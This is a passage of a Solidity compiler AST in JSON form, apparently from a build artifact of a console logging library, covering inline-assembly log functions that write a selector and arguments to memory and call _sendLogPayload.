12726:342:22"},{"nativeSrc":"113081:17:22","nodeType":"YulAssignment","src":"113081:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"113093:4:22","nodeType":"YulLiteral","src":"113093:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"113087:5:22","nodeType":"YulIdentifier","src":"113087:5:22"},"nativeSrc":"113087:11:22","nodeType":"YulFunctionCall","src":"113087:11:22"},"variableNames":[{"name":"m0","nativeSrc":"113081:2:22","nodeType":"YulIdentifier","src":"113081:2:22"}]},{"nativeSrc":"113111:17:22","nodeType":"YulAssignment","src":"113111:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"113123:4:22","nodeType":"YulLiteral","src":"113123:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"113117:5:22","nodeType":"YulIdentifier","src":"113117:5:22"},"nativeSrc":"113117:11:22","nodeType":"YulFunctionCall","src":"113117:11:22"},"variableNames":[{"name":"m1","nativeSrc":"113111:2:22","nodeType":"YulIdentifier","src":"113111:2:22"}]},{"nativeSrc":"113141:17:22","nodeType":"YulAssignment","src":"113141:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"113153:4:22","nodeType":"YulLiteral","src":"113153:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"113147:5:22","nodeType":"YulIdentifier","src":"113147:5:22"},"nativeSrc":"113147:11:22","nodeType":"YulFunctionCall","src":"113147:11:22"},"variableNames":[{"name":"m2","nativeSrc":"113141:2:22","nodeType":"YulIdentifier","src":"113141:2:22"}]},{"nativeSrc":"113171:17:22","nodeType":"YulAssignment","src":"113171:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"113183:4:22","nodeType":"YulLiteral","src":"113183:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"113177:5:22","nodeType":"YulIdentifier","src":"113177:5:22"},"nativeSrc":"113177:11:22","nodeType":"YulFunctionCall","src":"113177:11:22"},"variableNames":[{"name":"m3","nativeSrc":"113171:2:22","nodeType":"YulIdentifier","src":"113171:2:22"}]},{"nativeSrc":"113201:17:22","nodeType":"YulAssignment","src":"113201:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"113213:4:22","nodeType":"YulLiteral","src":"113213:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"113207:5:22","nodeType":"YulIdentifier","src":"113207:5:22"},"nativeSrc":"113207:11:22","nodeType":"YulFunctionCall","src":"113207:11:22"},"variableNames":[{"name":"m4","nativeSrc":"113201:2:22","nodeType":"YulIdentifier","src":"113201:2:22"}]},{"nativeSrc":"113231:17:22","nodeType":"YulAssignment","src":"113231:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"113243:4:22","nodeType":"YulLiteral","src":"113243:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"113237:5:22","nodeType":"YulIdentifier","src":"113237:5:22"},"nativeSrc":"113237:11:22","nodeType":"YulFunctionCall","src":"113237:11:22"},"variableNames":[{"name":"m5","nativeSrc":"113231:2:22","nodeType":"YulIdentifier","src":"113231:2:22"}]},{"nativeSrc":"113261:17:22","nodeType":"YulAssignment","src":"113261:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"113273:4:22","nodeType":"YulLiteral","src":"113273:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"113267:5:22","nodeType":"YulIdentifier","src":"113267:5:22"},"nativeSrc":"113267:11:22","nodeType":"YulFunctionCall","src":"113267:11:22"},"variableNames":[{"name":"m6","nativeSrc":"113261:2:22","nodeType":"YulIdentifier","src":"113261:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113358:4:22","nodeType":"YulLiteral","src":"113358:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"113364:10:22","nodeType":"YulLiteral","src":"113364:10:22","type":"","value":"0x50ad461d"}],"functionName":{"name":"mstore","nativeSrc":"113351:6:22","nodeType":"YulIdentifier","src":"113351:6:22"},"nativeSrc":"113351:24:22","nodeType":"YulFunctionCall","src":"113351:24:22"},"nativeSrc":"113351:24:22","nodeType":"YulExpressionStatement","src":"113351:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113395:4:22","nodeType":"YulLiteral","src":"113395:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"113401:2:22","nodeType":"YulIdentifier","src":"113401:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113388:6:22","nodeType":"YulIdentifier","src":"113388:6:22"},"nativeSrc":"113388:16:22","nodeType":"YulFunctionCall","src":"113388:16:22"},"nativeSrc":"113388:16:22","nodeType":"YulExpressionStatement","src":"113388:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113424:4:22","nodeType":"YulLiteral","src":"113424:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"113430:2:22","nodeType":"YulIdentifier","src":"113430:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113417:6:22","nodeType":"YulIdentifier","src":"113417:6:22"},"nativeSrc":"113417:16:22","nodeType":"YulFunctionCall","src":"113417:16:22"},"nativeSrc":"113417:16:22","nodeType":"YulExpressionStatement","src":"113417:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113453:4:22","nodeType":"YulLiteral","src":"113453:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"113459:4:22","nodeType":"YulLiteral","src":"113459:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"113446:6:22","nodeType":"YulIdentifier","src":"113446:6:22"},"nativeSrc":"113446:18:22","nodeType":"YulFunctionCall","src":"113446:18:22"},"nativeSrc":"113446:18:22","nodeType":"YulExpressionStatement","src":"113446:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113484:4:22","nodeType":"YulLiteral","src":"113484:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"113490:2:22","nodeType":"YulIdentifier","src":"113490:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113477:6:22","nodeType":"YulIdentifier","src":"113477:6:22"},"nativeSrc":"113477:16:22","nodeType":"YulFunctionCall","src":"113477:16:22"},"nativeSrc":"113477:16:22","nodeType":"YulExpressionStatement","src":"113477:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113518:4:22","nodeType":"YulLiteral","src":"113518:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"113524:2:22","nodeType":"YulIdentifier","src":"113524:2:22"}],"functionName":{"name":"writeString","nativeSrc":"113506:11:22","nodeType":"YulIdentifier","src":"113506:11:22"},"nativeSrc":"113506:21:22","nodeType":"YulFunctionCall","src":"113506:21:22"},"nativeSrc":"113506:21:22","nodeType":"YulExpressionStatement","src":"113506:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37416,"isOffset":false,"isSlot":false,"src":"113081:2:22","valueSize":1},{"declaration":37419,"isOffset":false,"isSlot":false,"src":"113111:2:22","valueSize":1},{"declaration":37422,"isOffset":false,"isSlot":false,"src":"113141:2:22","valueSize":1},{"declaration":37425,"isOffset":false,"isSlot":false,"src":"113171:2:22","valueSize":1},{"declaration":37428,"isOffset":false,"isSlot":false,"src":"113201:2:22","valueSize":1},{"declaration":37431,"isOffset":false,"isSlot":false,"src":"113231:2:22","valueSize":1},{"declaration":37434,"isOffset":false,"isSlot":false,"src":"113261:2:22","valueSize":1},{"declaration":37406,"isOffset":false,"isSlot":false,"src":"113401:2:22","valueSize":1},{"declaration":37408,"isOffset":false,"isSlot":false,"src":"113430:2:22","valueSize":1},{"declaration":37410,"isOffset":false,"isSlot":false,"src":"113524:2:22","valueSize":1},{"declaration":37412,"isOffset":false,"isSlot":false,"src":"113490:2:22","valueSize":1}],"id":37436,"nodeType":"InlineAssembly","src":"112703:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37438,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"113562:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37439,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"113568:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":37437,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"113546:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37440,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"113546:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37441,"nodeType":"ExpressionStatement","src":"113546:27:22"},{"AST":{"nativeSrc":"113592:214:22","nodeType":"YulBlock","src":"113592:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"113613:4:22","nodeType":"YulLiteral","src":"113613:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"113619:2:22","nodeType":"YulIdentifier","src":"113619:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113606:6:22","nodeType":"YulIdentifier","src":"113606:6:22"},"nativeSrc":"113606:16:22","nodeType":"YulFunctionCall","src":"113606:16:22"},"nativeSrc":"113606:16:22","nodeType":"YulExpressionStatement","src":"113606:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113642:4:22","nodeType":"YulLiteral","src":"113642:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"113648:2:22","nodeType":"YulIdentifier","src":"113648:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113635:6:22","nodeType":"YulIdentifier","src":"113635:6:22"},"nativeSrc":"113635:16:22","nodeType":"YulFunctionCall","src":"113635:16:22"},"nativeSrc":"113635:16:22","nodeType":"YulExpressionStatement","src":"113635:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113671:4:22","nodeType":"YulLiteral","src":"113671:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"113677:2:22","nodeType":"YulIdentifier","src":"113677:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113664:6:22","nodeType":"YulIdentifier","src":"113664:6:22"},"nativeSrc":"113664:16:22","nodeType":"YulFunctionCall","src":"113664:16:22"},"nativeSrc":"113664:16:22","nodeType":"YulExpressionStatement","src":"113664:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113700:4:22","nodeType":"YulLiteral","src":"113700:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"113706:2:22","nodeType":"YulIdentifier","src":"113706:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113693:6:22","nodeType":"YulIdentifier","src":"113693:6:22"},"nativeSrc":"113693:16:22","nodeType":"YulFunctionCall","src":"113693:16:22"},"nativeSrc":"113693:16:22","nodeType":"YulExpressionStatement","src":"113693:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113729:4:22","nodeType":"YulLiteral","src":"113729:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"113735:2:22","nodeType":"YulIdentifier","src":"113735:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113722:6:22","nodeType":"YulIdentifier","src":"113722:6:22"},"nativeSrc":"113722:16:22","nodeType":"YulFunctionCall","src":"113722:16:22"},"nativeSrc":"113722:16:22","nodeType":"YulExpressionStatement","src":"113722:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113758:4:22","nodeType":"YulLiteral","src":"113758:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"113764:2:22","nodeType":"YulIdentifier","src":"113764:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113751:6:22","nodeType":"YulIdentifier","src":"113751:6:22"},"nativeSrc":"113751:16:22","nodeType":"YulFunctionCall","src":"113751:16:22"},"nativeSrc":"113751:16:22","nodeType":"YulExpressionStatement","src":"113751:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"113787:4:22","nodeType":"YulLiteral","src":"113787:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"113793:2:22","nodeType":"YulIdentifier","src":"113793:2:22"}],"functionName":{"name":"mstore","nativeSrc":"113780:6:22","nodeType":"YulIdentifier","src":"113780:6:22"},"nativeSrc":"113780:16:22","nodeType":"YulFunctionCall","src":"113780:16:22"},"nativeSrc":"113780:16:22","nodeType":"YulExpressionStatement","src":"113780:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37416,"isOffset":false,"isSlot":false,"src":"113619:2:22","valueSize":1},{"declaration":37419,"isOffset":false,"isSlot":false,"src":"113648:2:22","valueSize":1},{"declaration":37422,"isOffset":false,"isSlot":false,"src":"113677:2:22","valueSize":1},{"declaration":37425,"isOffset":false,"isSlot":false,"src":"113706:2:22","valueSize":1},{"declaration":37428,"isOffset":false,"isSlot":false,"src":"113735:2:22","valueSize":1},{"declaration":37431,"isOffset":false,"isSlot":false,"src":"113764:2:22","valueSize":1},{"declaration":37434,"isOffset":false,"isSlot":false,"src":"113793:2:22","valueSize":1}],"id":37442,"nodeType":"InlineAssembly","src":"113583:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"112493:3:22","parameters":{"id":37413,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37406,"mutability":"mutable","name":"p0","nameLocation":"112505:2:22","nodeType":"VariableDeclaration","scope":37444,"src":"112497:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37405,"name":"address","nodeType":"ElementaryTypeName","src":"112497:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37408,"mutability":"mutable","name":"p1","nameLocation":"112514:2:22","nodeType":"VariableDeclaration","scope":37444,"src":"112509:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37407,"name":"bool","nodeType":"ElementaryTypeName","src":"112509:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37410,"mutability":"mutable","name":"p2","nameLocation":"112526:2:22","nodeType":"VariableDeclaration","scope":37444,"src":"112518:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37409,"name":"bytes32","nodeType":"ElementaryTypeName","src":"112518:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":37412,"mutability":"mutable","name":"p3","nameLocation":"112535:2:22","nodeType":"VariableDeclaration","scope":37444,"src":"112530:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37411,"name":"bool","nodeType":"ElementaryTypeName","src":"112530:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"112496:42:22"},"returnParameters":{"id":37414,"nodeType":"ParameterList","parameters":[],"src":"112553:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37484,"nodeType":"FunctionDefinition","src":"113818:1334:22","nodes":[],"body":{"id":37483,"nodeType":"Block","src":"113890:1262:22","nodes":[],"statements":[{"assignments":[37456],"declarations":[{"constant":false,"id":37456,"mutability":"mutable","name":"m0","nameLocation":"113908:2:22","nodeType":"VariableDeclaration","scope":37483,"src":"113900:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37455,"name":"bytes32","nodeType":"ElementaryTypeName","src":"113900:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37457,"nodeType":"VariableDeclarationStatement","src":"113900:10:22"},{"assignments":[37459],"declarations":[{"constant":false,"id":37459,"mutability":"mutable","name":"m1","nameLocation":"113928:2:22","nodeType":"VariableDeclaration","scope":37483,"src":"113920:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37458,"name":"bytes32","nodeType":"ElementaryTypeName","src":"113920:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37460,"nodeType":"VariableDeclarationStatement","src":"113920:10:22"},{"assignments":[37462],"declarations":[{"constant":false,"id":37462,"mutability":"mutable","name":"m2","nameLocation":"113948:2:22","nodeType":"VariableDeclaration","scope":37483,"src":"113940:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37461,"name":"bytes32","nodeType":"ElementaryTypeName","src":"113940:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37463,"nodeType":"VariableDeclarationStatement","src":"113940:10:22"},{"assignments":[37465],"declarations":[{"constant":false,"id":37465,"mutability":"mutable","name":"m3","nameLocation":"113968:2:22","nodeType":"VariableDeclaration","scope":37483,"src":"113960:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37464,"name":"bytes32","nodeType":"ElementaryTypeName","src":"113960:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37466,"nodeType":"VariableDeclarationStatement","src":"113960:10:22"},{"assignments":[37468],"declarations":[{"constant":false,"id":37468,"mutability":"mutable","name":"m4","nameLocation":"113988:2:22","nodeType":"VariableDeclaration","scope":37483,"src":"113980:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37467,"name":"bytes32","nodeType":"ElementaryTypeName","src":"113980:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37469,"nodeType":"VariableDeclarationStatement","src":"113980:10:22"},{"assignments":[37471],"declarations":[{"constant":false,"id":37471,"mutability":"mutable","name":"m5","nameLocation":"114008:2:22","nodeType":"VariableDeclaration","scope":37483,"src":"114000:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37470,"name":"bytes32","nodeType":"ElementaryTypeName","src":"114000:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37472,"nodeType":"VariableDeclarationStatement","src":"114000:10:22"},{"assignments":[37474],"declarations":[{"constant":false,"id":37474,"mutability":"mutable","name":"m6","nameLocation":"114028:2:22","nodeType":"VariableDeclaration","scope":37483,"src":"114020:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37473,"name":"bytes32","nodeType":"ElementaryTypeName","src":"114020:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37475,"nodeType":"VariableDeclarationStatement","src":"114020:10:22"},{"AST":{"nativeSrc":"114049:828:22","nodeType":"YulBlock","src":"114049:828:22","statements":[{"body":{"nativeSrc":"114092:313:22","nodeType":"YulBlock","src":"114092:313:22","statements":[{"nativeSrc":"114110:15:22","nodeType":"YulVariableDeclaration","src":"114110:15:22","value":{"kind":"number","nativeSrc":"114124:1:22","nodeType":"YulLiteral","src":"114124:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"114114:6:22","nodeType":"YulTypedName","src":"114114:6:22","type":""}]},{"body":{"nativeSrc":"114195:40:22","nodeType":"YulBlock","src":"114195:40:22","statements":[{"body":{"nativeSrc":"114224:9:22","nodeType":"YulBlock","src":"114224:9:22","statements":[{"nativeSrc":"114226:5:22","nodeType":"YulBreak","src":"114226:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"114212:6:22","nodeType":"YulIdentifier","src":"114212:6:22"},{"name":"w","nativeSrc":"114220:1:22","nodeType":"YulIdentifier","src":"114220:1:22"}],"functionName":{"name":"byte","nativeSrc":"114207:4:22","nodeType":"YulIdentifier","src":"114207:4:22"},"nativeSrc":"114207:15:22","nodeType":"YulFunctionCall","src":"114207:15:22"}],"functionName":{"name":"iszero","nativeSrc":"114200:6:22","nodeType":"YulIdentifier","src":"114200:6:22"},"nativeSrc":"114200:23:22","nodeType":"YulFunctionCall","src":"114200:23:22"},"nativeSrc":"114197:36:22","nodeType":"YulIf","src":"114197:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"114152:6:22","nodeType":"YulIdentifier","src":"114152:6:22"},{"kind":"number","nativeSrc":"114160:4:22","nodeType":"YulLiteral","src":"114160:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"114149:2:22","nodeType":"YulIdentifier","src":"114149:2:22"},"nativeSrc":"114149:16:22","nodeType":"YulFunctionCall","src":"114149:16:22"},"nativeSrc":"114142:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"114166:28:22","nodeType":"YulBlock","src":"114166:28:22","statements":[{"nativeSrc":"114168:24:22","nodeType":"YulAssignment","src":"114168:24:22","value":{"arguments":[{"name":"length","nativeSrc":"114182:6:22","nodeType":"YulIdentifier","src":"114182:6:22"},{"kind":"number","nativeSrc":"114190:1:22","nodeType":"YulLiteral","src":"114190:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"114178:3:22","nodeType":"YulIdentifier","src":"114178:3:22"},"nativeSrc":"114178:14:22","nodeType":"YulFunctionCall","src":"114178:14:22"},"variableNames":[{"name":"length","nativeSrc":"114168:6:22","nodeType":"YulIdentifier","src":"114168:6:22"}]}]},"pre":{"nativeSrc":"114146:2:22","nodeType":"YulBlock","src":"114146:2:22","statements":[]},"src":"114142:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"114259:3:22","nodeType":"YulIdentifier","src":"114259:3:22"},{"name":"length","nativeSrc":"114264:6:22","nodeType":"YulIdentifier","src":"114264:6:22"}],"functionName":{"name":"mstore","nativeSrc":"114252:6:22","nodeType":"YulIdentifier","src":"114252:6:22"},"nativeSrc":"114252:19:22","nodeType":"YulFunctionCall","src":"114252:19:22"},"nativeSrc":"114252:19:22","nodeType":"YulExpressionStatement","src":"114252:19:22"},{"nativeSrc":"114288:37:22","nodeType":"YulVariableDeclaration","src":"114288:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"114305:3:22","nodeType":"YulLiteral","src":"114305:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"114314:1:22","nodeType":"YulLiteral","src":"114314:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"114317:6:22","nodeType":"YulIdentifier","src":"114317:6:22"}],"functionName":{"name":"shl","nativeSrc":"114310:3:22","nodeType":"YulIdentifier","src":"114310:3:22"},"nativeSrc":"114310:14:22","nodeType":"YulFunctionCall","src":"114310:14:22"}],"functionName":{"name":"sub","nativeSrc":"114301:3:22","nodeType":"YulIdentifier","src":"114301:3:22"},"nativeSrc":"114301:24:22","nodeType":"YulFunctionCall","src":"114301:24:22"},"variables":[{"name":"shift","nativeSrc":"114292:5:22","nodeType":"YulTypedName","src":"114292:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"114353:3:22","nodeType":"YulIdentifier","src":"114353:3:22"},{"kind":"number","nativeSrc":"114358:4:22","nodeType":"YulLiteral","src":"114358:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"114349:3:22","nodeType":"YulIdentifier","src":"114349:3:22"},"nativeSrc":"114349:14:22","nodeType":"YulFunctionCall","src":"114349:14:22"},{"arguments":[{"name":"shift","nativeSrc":"114369:5:22","nodeType":"YulIdentifier","src":"114369:5:22"},{"arguments":[{"name":"shift","nativeSrc":"114380:5:22","nodeType":"YulIdentifier","src":"114380:5:22"},{"name":"w","nativeSrc":"114387:1:22","nodeType":"YulIdentifier","src":"114387:1:22"}],"functionName":{"name":"shr","nativeSrc":"114376:3:22","nodeType":"YulIdentifier","src":"114376:3:22"},"nativeSrc":"114376:13:22","nodeType":"YulFunctionCall","src":"114376:13:22"}],"functionName":{"name":"shl","nativeSrc":"114365:3:22","nodeType":"YulIdentifier","src":"114365:3:22"},"nativeSrc":"114365:25:22","nodeType":"YulFunctionCall","src":"114365:25:22"}],"functionName":{"name":"mstore","nativeSrc":"114342:6:22","nodeType":"YulIdentifier","src":"114342:6:22"},"nativeSrc":"114342:49:22","nodeType":"YulFunctionCall","src":"114342:49:22"},"nativeSrc":"114342:49:22","nodeType":"YulExpressionStatement","src":"114342:49:22"}]},"name":"writeString","nativeSrc":"114063:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"114084:3:22","nodeType":"YulTypedName","src":"114084:3:22","type":""},{"name":"w","nativeSrc":"114089:1:22","nodeType":"YulTypedName","src":"114089:1:22","type":""}],"src":"114063:342:22"},{"nativeSrc":"114418:17:22","nodeType":"YulAssignment","src":"114418:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"114430:4:22","nodeType":"YulLiteral","src":"114430:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"114424:5:22","nodeType":"YulIdentifier","src":"114424:5:22"},"nativeSrc":"114424:11:22","nodeType":"YulFunctionCall","src":"114424:11:22"},"variableNames":[{"name":"m0","nativeSrc":"114418:2:22","nodeType":"YulIdentifier","src":"114418:2:22"}]},{"nativeSrc":"114448:17:22","nodeType":"YulAssignment","src":"114448:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"114460:4:22","nodeType":"YulLiteral","src":"114460:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"114454:5:22","nodeType":"YulIdentifier","src":"114454:5:22"},"nativeSrc":"114454:11:22","nodeType":"YulFunctionCall","src":"114454:11:22"},"variableNames":[{"name":"m1","nativeSrc":"114448:2:22","nodeType":"YulIdentifier","src":"114448:2:22"}]},{"nativeSrc":"114478:17:22","nodeType":"YulAssignment","src":"114478:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"114490:4:22","nodeType":"YulLiteral","src":"114490:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"114484:5:22","nodeType":"YulIdentifier","src":"114484:5:22"},"nativeSrc":"114484:11:22","nodeType":"YulFunctionCall","src":"114484:11:22"},"variableNames":[{"name":"m2","nativeSrc":"114478:2:22","nodeType":"YulIdentifier","src":"114478:2:22"}]},{"nativeSrc":"114508:17:22","nodeType":"YulAssignment","src":"114508:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"114520:4:22","nodeType":"YulLiteral","src":"114520:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"114514:5:22","nodeType":"YulIdentifier","src":"114514:5:22"},"nativeSrc":"114514:11:22","nodeType":"YulFunctionCall","src":"114514:11:22"},"variableNames":[{"name":"m3","nativeSrc":"114508:2:22","nodeType":"YulIdentifier","src":"114508:2:22"}]},{"nativeSrc":"114538:17:22","nodeType":"YulAssignment","src":"114538:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"114550:4:22","nodeType":"YulLiteral","src":"114550:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"114544:5:22","nodeType":"YulIdentifier","src":"114544:5:22"},"nativeSrc":"114544:11:22","nodeType":"YulFunctionCall","src":"114544:11:22"},"variableNames":[{"name":"m4","nativeSrc":"114538:2:22","nodeType":"YulIdentifier","src":"114538:2:22"}]},{"nativeSrc":"114568:17:22","nodeType":"YulAssignment","src":"114568:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"114580:4:22","nodeType":"YulLiteral","src":"114580:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"114574:5:22","nodeType":"YulIdentifier","src":"114574:5:22"},"nativeSrc":"114574:11:22","nodeType":"YulFunctionCall","src":"114574:11:22"},"variableNames":[{"name":"m5","nativeSrc":"114568:2:22","nodeType":"YulIdentifier","src":"114568:2:22"}]},{"nativeSrc":"114598:17:22","nodeType":"YulAssignment","src":"114598:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"114610:4:22","nodeType":"YulLiteral","src":"114610:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"114604:5:22","nodeType":"YulIdentifier","src":"114604:5:22"},"nativeSrc":"114604:11:22","nodeType":"YulFunctionCall","src":"114604:11:22"},"variableNames":[{"name":"m6","nativeSrc":"114598:2:22","nodeType":"YulIdentifier","src":"114598:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"114698:4:22","nodeType":"YulLiteral","src":"114698:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"114704:10:22","nodeType":"YulLiteral","src":"114704:10:22","type":"","value":"0x80e6a20b"}],"functionName":{"name":"mstore","nativeSrc":"114691:6:22","nodeType":"YulIdentifier","src":"114691:6:22"},"nativeSrc":"114691:24:22","nodeType":"YulFunctionCall","src":"114691:24:22"},"nativeSrc":"114691:24:22","nodeType":"YulExpressionStatement","src":"114691:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"114735:4:22","nodeType":"YulLiteral","src":"114735:4:22","type":"","value":"